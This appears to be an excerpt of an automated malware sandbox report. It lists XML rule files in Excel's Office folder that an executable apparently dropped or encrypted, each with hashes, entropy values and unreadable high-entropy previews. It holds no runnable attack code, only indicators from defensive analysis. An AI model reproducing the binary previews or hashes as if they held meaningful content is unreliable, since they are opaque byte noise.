.c.\|...J...E.....6........b..9u..v..w...D.~`^B.l.#.>.......N..H.n.2.j.1...1..$.....h.....1n.yl...o..\.z..p$e&.....i....#94g...T\|o.s>..C.o....'.K.CDD.<M.....HV..2...]......~.....K..U\/...3.P.......4A...a......Rr..1.3.....M.^.+.)W..;..\|...P...1.....o=0ki.....bn...'o.u.P..~sf.....6@.`.a\|1.w+5...B...h%..Q...od..R.C6..1..._,W..n$.m...S..#..4......{l.j.<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.887321469983504
Encrypted:	false
SSDEEP:	48:LQZSnTicfEaOs6CXj052xkMXh6APc3Ox4U6p61MpIFD:LHTicfpBz052xxX0tYPa61MpI9
MD5:	83821FABF915A23A22AAA4F6CDB7B809
SHA1:	3EE34C76747AA98E43548740905D882E47C001F2
SHA-256:	8516169014509066EBCE02604DFE4F4BF5886F69BA4FBAB294D62E76C8E170C2
SHA-512:	3E99DA4EEECAD97E8C7DA71DC7175D440CDB36C6CFB5218FBEFDD40416774A404869C9A5219DA4A135CCCB21BAB5488B0FB64709673313605DDC9EB34E39BB36
Malicious:	false
Preview:	<?xml... /J....,..S.n.^\D...l....L8,z.p....L.2..9......e..\O.+..Q...j.D....u}.#....@)LBq.F......"....O......[...%0..#.....v...j.b.+..X...3...(....h2...jT..6..6......0.... ..G#X..f.e....T...L...)..t8.9..j.v..5.>..X.yFuW.[.U.R...N.TIM....i..z...3sV..B\...........\+.o.....}...U..1..5......B.G.o..n'oD....1.\5.KT.Md..&...A....E..m...L.O.H.."e...iSo<X:..ij]..v`...OL1t...Kk.&M.6.....).p...,.......CcWl..}.....B.. ....sd..Sf.......9\|......Xw.=.:VW........'......F.iN...e..[..(1..K... .N6...P........x1[?..+^.:.Rn$51y.F.=..\|1;...<...i.....>.....}..H.s...".=.....}.+ny4..dr:.......r.O...P....\L..e..A....g.....:...{.......K.D...z_..f........ji.`.o.U.jo:....uk....U....W.-Y[bw..nW.l+)...X....(...P.&l.N/.4:/i.n.cw=.W=.....S..V-...a(...h........2..$..'w...m....g.?.HDB...X.rK..{.....p...M.r...b.......#...vA_..Te/T.~..WQaI.}.b/.X.......s.UI...8l.:v.H.....d.27.*.!`.;b.....gf.../@...if....Idi...h.C..vH.B~4..~..R:...Ow.S.,.,..Sx...#.\f.A...`.Iq

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.875145613304866
Encrypted:	false
SSDEEP:	24:JqwhxotkiHWmDVgbpSZFwE8kAq1MJuKswu+I6Bv8G1eVrDmlOv0aVbD:0b5fgFSbwxa1nKsV+RBv8jIiPFD
MD5:	079F8B380DD37D0EC9548BBC9DF84451
SHA1:	CEB549F97C9C826913BD206C15FB89FC34DA956C
SHA-256:	BD790D2949FDD442EA1E5ABB0D5739EB9C8242EDF9F63CFE8379FC38D4ECA233
SHA-512:	DBF77F8CE65177E0C8F2F6A1EF7B156D0786239877FB5B283D5390D50A622AC43679810A4DC2B030F7648F234A31F9E5ED77FFE3D8DC5A08803A368E39934619
Malicious:	false
Preview:	<?xml..p..W...o.a P.up+:,...D.....b&.Oy....8eu.s.M..N8.V!.5...wn....A}.......A.....d.f.t6r./.Sy..m.J r=.\t8......iG.~.JH`..<....H;g.H~,...`.~......DU.!`..t........TC..&..".!.U.(."Fm...J...4...DR.x..$Z.0j>7.P%qx..(.....S..P..<...q.6.k.+.8 ...@Y.5...A.0..n.....e0...<..=.W......\|0..M."...M....rN..n..np).q.U.%u..m...9..U..1.lyLv..j.N....]..l...d..aFY..g..o..kf..6..".#-...h....k}B`G..t.+.4.....8a.....> ....'./8`%"...fB.O?../....[sz?..vk>2....h_.6.1.h...ih..%.."u.J..o...p..h.D.?z.6.K..ER..".@......4.C....\|.!.@B..A.d.Sc......{........bmS........$..bI"......RI..9.H.v...>.HkY.mT.o`.Q....0Q.+.2..3rDp.u.~.-.i.>.?d.P.k....n.....O.+...z...D2J....2.......u..D..E..;./.>..v].j_..`.JH\|..Q#.Xy...I.+.kNp...A0.....RF..r..#5..`.=......y[...n...A...(mY.^*.C.h_.p%.g$...;..3J. ..Vk.~.n....U...[...............J.0x.....q.1{Ysk.j..#..d........J...`N@U..^....&......\|....R..@.E.;L.`....R.a....../.S. O...x..:..!...n..=.M.[.x..S{.5U.'f...R.Y."...vg.......xJ.jh..esl.m.#...D..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.883188765250505
Encrypted:	false
SSDEEP:	24:8SUfSr41iZMM8JRdTjeZs16/k/MszeOVyCw6MaEGo8zbFqoIrPcVbD:8S7Zg1vAs1OE4qyMM3DyhqEFD
MD5:	AD4B84832025A2CDA60B80B586A71B49
SHA1:	EBE5A029AFF4E18B11BA1A6D9779C896E10E0575
SHA-256:	0B40E1F56834D2CDE4AD3653E73EE80A9EF0B2A4937E2E03D9E3E8252DE71B6B
SHA-512:	37C652AE814EFE2200470B07BF01804E79FDE052024C277592AE4AD3ADB4827AB61ED586A5AD6DF9626273F0FB1573E6C7E7FFE72433F2714E56843ED2911C3D
Malicious:	false
Preview:	<?xmlyt.....1...$..s.r.t.H...tA.yN..!.E..#I>.\.4L...zu5.z..T.xm7.~4}^..!2....?.....E..H.=U..Q........5..\|.{T.E]_5{@c..Y.<......F&L...M._..:.`r.S.......DW*...f.T...^.V..D.....N.i..'...vy1.+.r..Z..J>o.nR.'..Y.z.b.o..!2..0....I~n.^..0Y.z.....".'h5.CP.k0...P..1(...i.....~.B..@%R..@....4...l3..H...Y..d.!?M.....u...3.$....^..:.....a.............&!qD&."#Yhd....NB...q.P.,.))4.,h.'\|k4....m......H..sy."...#;.~.......9....w....D..p'4...7Vw.!....w.2(..+5.X.....vgn.">s.oK.D.olT..A?.........7D.y.Wo.3..Qs....F..u^..%...w"m\|..3n.fn.]..\..]^...eX.>..H6.k..@n..I"v....y>m........p...Z.... ..4&.....L ....... ..'.-..\CxB.......{.?......e?......6.r..xg~...=...t...l...o..87.<&U....f.;O..G.!....-P..$l.......c.0.:.n...IADN....q...-4:.[.....v...dPD"0.X......_....,.1..R5 ...c?...e.......(_..$..D...".s./.R..>.q..]8.$X...>.......e.. H..).G...s.}G....E.......-..;.Mz.lO~...B...89=.......w\U..<).....D[....\.q#.l..6X.X.:.&...2"J8I"..x.N..Y.E%^...3.Y.{'..T.N5J^....(.a.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.936340536462091
Encrypted:	false
SSDEEP:	48:CcOBowAHOFM8N8leKlns0ETKzAa7RVQzHjY9CIPdt5SRGygvvhV4FD:5Oyt8NEeKlsHKka7fQLgCaHhV49
MD5:	ABF72BDF009EF5D83B5A46D438B69937
SHA1:	E761A1F0B049163F6F9E702D17A5FCBF11782058
SHA-256:	5DFC3CD2FCBFF2A32558BA0D96088AB37747463EC89E9D3F45CF3D181B227066
SHA-512:	F4054BBB9D3542CD694C5074161EA578C5ABFD12A7D4283EF7BBFAE68F77E0D1777043714305EBC43FCBE4C58FD342875CB20BCA658DB16D88124080B8898AD6
Malicious:	false
Preview:	<?xml.. e@%.E.?N...d..+.'[\|v..V..I..~$.r..M ..(..m..A..i)g.R"....1e..0......#y97...G.OY.....G..X...i8?.~L.....q.._2 DMdl..P.C{..yL.q ...jB..nd#...1S.#........".j.[.}y.........%i#A{2.P..@2..4w-....0...J..[U...J&...)...-...........p.Gx. (?3..6..E>...H\|....V.o.p.,.1...Jxad......8.3..P...L$..Q..~.s.X..D..\\|.c.47.y..Ru..'.hEi..LM.BX..^....d...9..9.<.3)..k....F...e.\.P...8..}.E..#.r...E.M?SB.U..5..W..B..?.. ~....~...o.Y?.....0.V.....K.....u..[....d..#.:..,R..5c.:...,.G#.n...oO....1a.\..U...O.z.dB. .9 V..jo.$`.q.!..KZE..-.G....$.].{.l..0...(.M.#...F....hu..H.V.$.\|f...6.Z.va.h.$.U>.RE.GI.b[.K..$..t.....k....H5.@=x.X.)R.X..3+]...K.yY.....yJ.'...u......U.y....#..n.N..O...y..?5.`.h..%J.A.;u..5.7...oht.=....h..\|X....Z...m...z..~:.....f./.5N.1.L...nE...T.tQs..Rl.[.O....a....C.....1KA.?V.....!@.....\|....z.E({V.`...b.....?52...`....3...:K.H...S..K.T..w1...`...d)XK....&".(s$...1X..Ak.`.t...E....e;-...y.'...L......N.......m.v.}.ym.........S$.U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7654187302340025
Encrypted:	false
SSDEEP:	24:KHrG7q/zD9c9/dvzzDLT1WB22IS7CCpVbD:BqFc9JzvMB2LqpFD
MD5:	41AC8C66255AC6711488A9E66F8EB73C
SHA1:	86E2D187491A230A911CE7030443FCADC224C5EC
SHA-256:	2CDDAF9C5D44F1B06A7A9B62A1B4514A314D6D8B684ECEBF03B1EE4D5A022DB2
SHA-512:	04133E6825E76A4E7599E54E4089680BEAA772D23289F48B00114D9F0724A64719142AF6F0290CD2123882A69F9693C0D904629FEE9891823770A143E8944A25
Malicious:	false
Preview:	<?xml..J....F...l..c=^......';..\|Af%.7.UD......k...r.......bd....2[.j..+.....8..EKYj.=P..=.5.........}...Y./6.{>....&.......I8.......e.oNp.<....^..3....o.#.O..\.E..d.g.>.vO.h.9....W.2....K.....'D.6..y...g. .3.~<.P.T./.Kg...T.4..28.;.......9.fy_.P.D.U#......\.O..\|.5.=GJ."./.\|\[#.W....c.......g=....:D......T.~s.(.jY..qQ+.....@R..)6.V...y.C[..."..jj......XI..1..z....K.\|..y../V..i..b.Z.....Ga......O.@o.v...'..p..X%..:.l....?.=...@).f.7.SG..N..M...{N...G.{b].@\|lZ.[.....%......]................p.....bX..l~.V..6.+.R.Y...pR..V.E..\|.r......i......./.6...r..k{Rs)I_{...f....k....0...5.,w.c.0..;n. N..jK.V.9Zk.D..G/.\..&4:.P{.....p].=.#..,..Y...G.q&]/..J..].k.,c'...n.V.,.......da...v. ...?.........SQ...g..+...X..B.....o......l.q....(itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.828988361008129
Encrypted:	false
SSDEEP:	24:Ye/rqlo5GcCaEuw6UeblTDO+swZ/NA9FdVoqVBVbD:d599EuHUebdRHA/oUBFD
MD5:	8F17677AE4E5F5346405EBA756811560
SHA1:	58F7926BBDA3CFC4546030DA16FE6233DBA5711D
SHA-256:	839F2E2A11EA4CD1C3FC9298CBE20D0089C667DF1A06B004B1F1B604043A8FEF
SHA-512:	CD4B3224EED9DD529C66A9AB28AD8AFA4E51CE68846EEB7304F6336C85F61BB6E8A46BC1E9253575FA8B3FD4913A603CF81FF921072A4BED0B56BC45235128B6
Malicious:	false
Preview:	<?xmle.'.pc.W..,.'.V+.._.yHT...]./z.>.[g..V.:..prR>"..ub..M?&G..L....... .+..{q......K-K).A M.-.fdnh-.)#_7Iw..X..............3u..j~Bu.,}.....}..4v..N#d....X,...n^.Q`n...4.u.4..z..."...-w...YRbU..\|.m.W;..t\.Z......bE..x.?s.=>.O.T..EAp7...4...p.In4Kg..#.jwf....Vt.X...A..@.:..j2..Y....Rgt3..H..SM.aHC.XaOL:....:..M..>..^9.}.M....'..(Jp.r...I.>.<-.!.u.....4.[T. h!.Qk]i6...~D].C.J0../..Pj...hU!1`y....P.e.Z1.j n*.w^.i.....,.I..x..6P.......+B..:.2.Za`..5....w..3...k..Z..O..v.....2.v. ..A....h.0...8.4...._8...a7G.YR.ZN....Y5h...,....Z.ZX.e.?[I...~...'..}......\.....<5..Q~...S.....\|..0o......S.\|..&.....G...-...d...5..x.dh.G^.....\$.U.>U.....,.6.\|.K9a...+.K.:..s.6...#Z".IH!.RS.....XWB....u..>...B.v.M.9!.U..=R.W..lEo.......M..$.....Q....)!\...r..i.q..J.....4.h.s0.O...Q.w=P.....C..#..^.h.....#..X?U.x\U.LA..J..&..6Q..+...^..5......f..\|.%.Y..C.\..u............>]....GG........\|..G#...~.....>{b;$..H\|....i.......:D.....L,...Bg..O.../...^..>.)..M...v..\|..Q#..J4..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.800743580945762
Encrypted:	false
SSDEEP:	24:VVD0O1WXKFoHKKl/ZmuCP8PgkbstOu/T978oVbD:VVDpWMiZZMuLPNbw/CoFD
MD5:	9C405BC9B8345E4FFBD55A1C867093D8
SHA1:	3C55C8666FC6ACE76C6DA671D3FBD0C47EFE63F3
SHA-256:	35E6635D47D84A7F3B91C6B7B74B3A3DE7849A439B1536791630206091998253
SHA-512:	A4C8D7344FE1827B8A536798C02DA41DA64F5650C6D656E69EC7084216EFD68C364C35ABE12E9CAF99F75981A98704489E961D7E5FECFFC68EF280D366145FB1
Malicious:	false
Preview:	<?xmlv&..B&1......>6..@...;1.&x.T.#Sr....W..Q..$.=.l.A..&-l.\.Ll.H~.!....1.....v...I.L.....G..I..g....5..Y..4.....g..zUf.......p...c......Ru.{.......5.#.5q..F.6L.~.....V.?.-a.....X.h.[3E..Vm.V...m.N.Oj[....=....""<.;.^<..(...w.T.......b.c>./`6".y._Z..F.4-..SC..3e.Viy...%my..X0I+...:...6#...9...F.N..XvW..x$.GI...t..C.n.......7/.H.J.V..g.B0........2........[!..&..CR........P..c.U.....d.....'...2?c.W..w..S.v}ff....P.X..O..\?..'p....e...Wh..A...4....S.k....V=.N...u5...a....=H.yO..a>......Q5WS...`1....[....s'...#..G@.!@!..w.l.A..<....T..3._.>?M.6B#x5.+...Q.2...Mkv...?e..V...(8...$.<.. 4"v.M....".(!<J:..;Z..,$..N..9=..\tU.......a...F.H.B...\|....X...9.b...{k........f......:ns..........S2..l;.^..F......D...n..Z]S.h.....f...&y..'..L....... 9.J6.....@.........-.Y...<.QAJ?..m2...B...#vD....jLJ.K..y...\|#}..X....oP.+.(.Ir..Z.Jmu......t`.3P........qx.k1.\Kks..n..7.0..#...Aritkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8661703537718
Encrypted:	false
SSDEEP:	24:/f1lDomU9Psr1n0MljpdSaJtMcO/51f6L2ATYdQQSGMlViBzJtIkRVbD:1lxU9K3hZtMcg51f0RYBMazJtxFD
MD5:	EF5FD20D833433916867D1F4D2E87FC7
SHA1:	1022278E6179369398A48114071A6F9510D082E7
SHA-256:	B0A8F2998FCD9FACFB02A17B5813B234CECD80938FB9B9F63BAC2FF54236B9F0
SHA-512:	3F044F21B59E04E1FADDFDE95A645E356FF276F09FDF422AD66C61105CB2826FBD4EA929DAF575E7BD25585A768C540E4E418303E301C93BBE817E9E7ECD82CE
Malicious:	false
Preview:	<?xml.................z:.=....?.1......El).d.(,pB.....\|r.=.\.]\|.Q/..!.".i3(M.t.n..2b6.#f=]j....{.ba.&_...2..n..y..}.$.t.......T..4...ai..m}\|H.J.k..2W8z...i..H.i....[\..L.4...pQ.-............k..u#.%..s...YO.I....W.(&I..'s..a.C.o.........y.X......E=R....,s!.g<..0.....LQW.@'....s..1.`.. .U.?.LS..t/...z..'3...g@.....'xq.-...2...+.........3....xn.`..\|...t.......K1...6`.i#...ny(..l.....q7.xD....$..e.3.Z?]T.x..05p...-.C.,dng..N]<f[.2..@K.QL..X-..G.,.M.:...y-..j...c.E...Z'....xr........#+.+..p 8d.....{"..h..g.....p.?.x. R..[.R..nb...i.p..$."..+.....pm.ys.E.dby.k.z.....op.......GQ_....2....r.l}.S.Vl.8.........[.P..,>..(..sL..K..N3)...M...u^........L#..G....'Y\"F45.....2G%.ev..4.o....?mW....c......A5...[r.. W.....Y....-......W%...)....h.Hux.....p...).s4...G/vu........{@.....^....$^. ....u,....1)c}p..........kfllGoH..~SRP..d.LTR..Y.a.Di..n{./.G....,..n1\Ly8.Q...;...SR...1.......j_..%1U}5..`N.........F...gr...L.E.X0..@.h.,..k..O.c..+9T..g....3....!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.878478399637528
Encrypted:	false
SSDEEP:	48:XSAWj3Aa4O+DLUD/AYyzI/rIzDAi96G26saxEmFjFD:Xw943YD/qOrIzjnsiEw9
MD5:	911AEC86B0113242FD19AFA5F71A2B8D
SHA1:	CBFD6A944C522629A97CA77BB41FF08D05C73CBA
SHA-256:	23901BAEF42D51136C1723AE0F865219B88B55AA817BDB5E8ADED713FF30AFFD
SHA-512:	E1AC4557A550EDCEB210874528407161D55AA3A1BBAA64A3BC8883129CB3AA7C344D84F84651CCC528610A86A5F781A1372C41FA7879551713F3EF89CA263D8D
Malicious:	false
Preview:	<?xml......2....B>...r.7.{.7...........aG..&.z...m...j).v..E.m..G?.Q\.x..9.Iv......R..w...A.!2?\]...i..A.IAC1..djG.+.. `....t..[..V.:n.......m...$e....EnZ........<!.q..9Ror...4..dO.....!....+',..zl.P..a.q>.....m...=9.%.v#..Vy.ZE}g.3..d....l...$.W.2R...L..,.8FO....EGE..DlJ....^..`~;.9..Ta.B4A..B?.l?.h.v"a{.sK.%.@........g]W..\|L=m6{..n.m\.Oe.V.<6.V/..t.[._....V..E...m...........'Y6.].....5.;.B..B7.n.n..l.m..{<.<:.W....K=.gN..1...B.%.,...H.....F:r....J>.]..w...\9....us......@.....=.U_..U.:I...x....,..~.-NU..u...;.Y..N...Wh.].s0.K5N.....V.Qq.......=.\|9.'..H..}=9...X.T..O.)&....v./...r...........i............;...gB... .U.s...,..L..?T..^.\..Z`;.Z.d..G.I!^8ex.Q..c..tw.:.A.8..s.0a...[........N.9>4_.....$.6........H..B...U..A....WB.Z.Ic`;az.......f.X.jK.].J.....u....5..d.S.(.E3....'..%?.1..a..../b..J....a.].E.. ....C..$..V.R.-_.A..z..T.....x.wG.9../..j...n.YQw..r.P0..~XK%.p....]y...>..TA.I7.6T~.$...4....C.\|.oy9..g.m.*2.E...Y.=..% .V7.E.dG.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.716131239601061
Encrypted:	false
SSDEEP:	12:vWEyELnMAPmWxFuhaL8y7Onf91jDNq0XWBKLaZR+Zru4pFe3VwjVcii9a:gmnlmaFjYy7inNqWHKYZi+Fe38VbD
MD5:	95AC763E5F0036BBFACF680D0AD1C78E
SHA1:	4B798C4F1DEE5249FBDED22BE20CF32DD49B6FE2
SHA-256:	945075D164D949EBD2799791E1ADC2C6167C7B66B3E2547D148E4ACB33106AF9
SHA-512:	DA514A9741DA625B5FE4138664E476C8DCA9718049C738DDFC62E263F41687962BB27D7DC269C5774C4E3C640D9B14D0A83C5190E5453CC21BAC2FCF983059B7
Malicious:	false
Preview:	<?xml(.o.8cG..q.~....._.`"...! aw..v.$.QM'..z`:u......'..(...s?..:..k....yc .X6....]c........J..2.jy\|......)......Q...V....h.....#.)..)wirY...LE..&.g..O.4s.:m....$..4.........A.'7N.B..@.4.L...2FK..qn.i..................2..<I. .../.3T.....a...ZYy@.g....}~ea.....=....0.&...FL.......RS.y;...tz..z.....B.(w'4cH.FT..].."Z..ViL.`G.....N4<.cT..........V.....S.....q'pp$....p].Y.<F..Kc.O....QT....f...A..d.g7.U.j..}.p6V...xzX.......{..{54.9./......=....G.I..QI..R.H....y_o..yzi..Q..I.-+.bS..i%..1;.e0..~~.(_5......L,..T..L]67~z.>_..#....e_....Y.Z7.>...X.c..A[X.I..x..-.1p...n........#..soJ...S+../;...[(....w....a..g9...T....t(..a.g.i.:>..L...L..t.60....Ox....).-.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.694929521015626
Encrypted:	false
SSDEEP:	24:X6xy/4zohtQWB2PskPV/HtMRXpcC6oToElVbD:UohPYsGH+lX9lFD
MD5:	43A7BC0F9E0206C3DE819BB72DD51B65
SHA1:	8AF0DFDB2C6786FB203F8DC6EBB40F3121381BD6
SHA-256:	9A4E895691269BDA4B8709B10C1672D5FF6A65D89AD1D7FF2268A326B65F2ACE
SHA-512:	152DF06CFC4A0C40285E502EABB4E43023173BCB5A53E13BD428C2B5D7166AA8CE27D46DCCE261E5446CE7536778253053543169FE1EC3BA05F2AB481BB58DF1
Malicious:	false
Preview:	<?xml...h...E...0.....N..O....`A.4.&0......Zk...@\|\.2qI..e....O.;..._h...d .<....?3}.(.b...........zH.N`.ny{..a.u...^.u.3.k..J.t_bC...nR7#..O..p....* .V~..b.MS.`.{.../qbh...&r.S..e[..b.z\x.O..@Ee.j.p.].Ka..5.!.....Z..O.E{Z.c..Z.......c..^{...^.......7..E...l..0{.RK....".......w:j..(..Ql...........R..'.M....^.k.,.....Kbiy...."..c....S......Ou..e...g .........9..{.j.I....g....T.K.>.l*.c........"5V.X..Y.........4......\.K.....6H&........o.N.D....#..#.!fjT.lwux..,~....~0..C;. ..6o.>......38.S.b....)..[.F \|..."....<...:........H......-Q.............Smm..-k.....E.._npd.T!....]S.$r.I...N2F..JG.... 7.....)..H.E.,5......S]..\|"o....E......D0.....1.O. ..u...x[...z. O..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.891349495723187
Encrypted:	false
SSDEEP:	48:cf3XdYyAlZy5jHCufbKT8XfZGPFsalPnjaFD:c/dFAi5OC+QvZoFPja9
MD5:	E840130372C34101F557619879D7C4B0
SHA1:	0C579EB883D9B3323E3F3F3C32EEFF5CF8BF0B5E
SHA-256:	ECCEF4BEF2CC7A7F21D870FB8720B0C1AE30516EB6903B170317BE2056B56B80
SHA-512:	FB9CE17B24FE1134602D9D278E9A24694A57D5654609806F638D4F629D2F7C72C9E334565B062E19262FA4B5E3D5375139C0C2D3562E5562FC5B0F5B656773A1
Malicious:	false
Preview:	<?xml..b......z..{...X/3.YMO.o.!.:.W..._R\|......Z.a9..r.Kk.q..B.m....{.S-8...._....-l3...q.......32.M ..m..;.(`..v.CT7.&k...._.t.X~f.2w;..,..4jh.....F...;..>..n`/..d>.L.6z.........H:./~ul..&.-.`..,0h.;.):.\.0.&MS?..\.r4O.g..h.q5.....6.".........,.N........t.~...\.U.L...y.k>/...z......5.....'o.>..;.......c<.E.v.)..q.v..b@..U..\.c.d.K..rM.H...@..-.sv%]%Icm.i..a.g..$.....3..._.-....;\|."f./.q..m.s.....2A"..F...?~...A.X.......Q_.%..)/....&.0..y...=3n..............$.;.}....i../..L.d.%.7T.tQ.S.A./..v.^A).D/....p..L.Im....:..k..[...4...'uD.&cYS.T..@.r...[.....Ng.......#GX..xs..M....S<.~.Q.f........<.#..)...t..?.LTk\W.8.5j.WF..{.-t^.........-.`SMX.bu...b"Gv..(..Y.t......Iy2...k.P.....~...n..3.n....n..Wt.f.t...d..](......'.....m....!.......YO....8p..}A..{#.+;j..Fv..9U.....o.mS...9I.Y.....e...V..P.E..l.$6.....%c.w........eI...*....2A.G...[..0.[....U.D.V!s/..2Y.....',.i..G%F.wg..n..L....a...-..\._Z9.%.0.{..k...i.gVP;%%.]].u.....s.i...(.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.9014600230382035
Encrypted:	false
SSDEEP:	48:O4Ic/f5weLqKNyMd2WM4XNX0oOz0KAtxj1FD:O4ImXLpd2yxE0KA19
MD5:	D078A4A0F9C20A22EDBBA6DBC644FB60
SHA1:	A6F765D8AFD2AE7B405CE75DBFD09FAD0AE8CE98
SHA-256:	38E472CF88555FB8B01E9B4AA7B18682F6BB3899DFB50059ED6DB9D26F9C1E72
SHA-512:	02683C1C49C1F3DE3CFE08CF622F8BE758F12DC61234EA796BC9A326B48D4964A5A1663C3358EB77F0C919E039A8F60D61F5F779B6FEA1488C2FBE151CD8B273
Malicious:	false
Preview:	<?xml8...g............3....=.MN..!n9...C.......+k....R.......u..c3.h?..W& ..:H.=o;..G@.....2....Bn....@xkb...m.......2.0.../..A.#..=.......<.O#..l@.U..,......]..J5X....%UtK...aG..oV.Ws.;J.K.....C......\|..wc....;...5.J:,c...._V...}...U:;c.y..7.B^..B5....V.Bc.AV... .....}...q..>6$.G6~..0Z.f.YZ..4.xa_)mgzpJ.....aW4....4.$k$.R.qc..x.k..........Z.4R.....^..$ja...e..9......A.F..N..U....x...8.E....J'......).W...H....h...snni....g.`...../M>y......qG@i.}..nK.\..K.l...#..)...`...8Q...0..........2.I..o(..$4..<cB...g..Z.mw....<.D.$..9,:..=..1..B2.c. ...6.-.r..E .z.....I..z...iVvN..w...H.lts.J.._.TQ.....3...JT.d.P0....+C....o4je0..iQ...P...L..CF.O.....0..^.>...J....)=.5.Cd....k....h......%.8.?.....w....A.....Yf\|TT..h.rc...l.<p.....%.'r*..Ak.p4._...1.....j..~1F.5..L]....T..:...vw...-.C....c..S\|.>N..dN7n....D.o..qJ.j..,...X..m...^..h.........Q.mqI&C,..?...$.f...A$.......l."..'..vG..K..t..).<.tY.M<@.bj({..+.O$.b. X....@d..?...<..]..G....Vu-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.742386615932101
Encrypted:	false
SSDEEP:	12:rvGg92GvPkZE/tUmH6XaCC8VLQlHnSDH8eBLBADbsC0kjP/O6jfDXqeqGlqi21ro:7Gk8ZE/tUI6KmVGHSAe8bCkjP33Xqnbi
MD5:	28C5267AE29ABF9ECAAD624BF6D6F787
SHA1:	98D8701640AB35ADE06082754F6E5BBEBB650538
SHA-256:	5462B2E6186CAFFFD3D1334CFA3D6A17E3A9330BFA3DD5F73BFDBDE5B8BFC3AC
SHA-512:	AD75EAFD87923522197FF38C986C91325729966E827FAE2838A01DD8616D841B12AC721CD3604E56CC4CDE2DD6982DDAA1C12545665320C9174B05552485997B
Malicious:	false
Preview:	<?xml...].Q..:.>.2W ..L...\|.0..I.n..y,..9.a..mA..{...i.nm..<...Um.\QZ..w...o..}n...."m...b...&...7W........A?..}f.......S..H...+.....o^.........1...7.C.R..b5XQ..w.....o...m...S...N7..X.;.%..&..'1. ..I..M..d....r.yI...=..#K8..K..i.....M(p.3.q...<@..<o'.RqGM...4=...U.S....a...Z.."17....g!.0(o. $.....P..$....4..6....I.....>p.d. ..+..#G".&.s..."...,.v..a.3h.e.ca..+.O..9.YNT....R..%I..$..THkb:Q(....%.q.....PIf...................K..w...X.....i.v...B.Yp....v....T.E.....g.j.;Sk..0.N.....`..K.>....Wl. ....cE].iE.C.=....1....K..2V)..e.....b..^.,.:g.\..m\|.........sX....&....!..r.rT....\...........Mb/eHIo.o....i.b-Xv.....CE#.f.Ph...HI.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.7139102395135755
Encrypted:	false
SSDEEP:	12:S74+AiI4OPDRyh7DPEogIFEf06U7aXpm0VEC/Fw3fGvIKrVkjVcii9a:JfiIvgc1s+gEpp9/W3ORrVuVbD
MD5:	6B718BA753A15D981EF6C9873AC0D41D
SHA1:	3476579AD9A02EEE5BDA16966E72C0D36BF6BE98
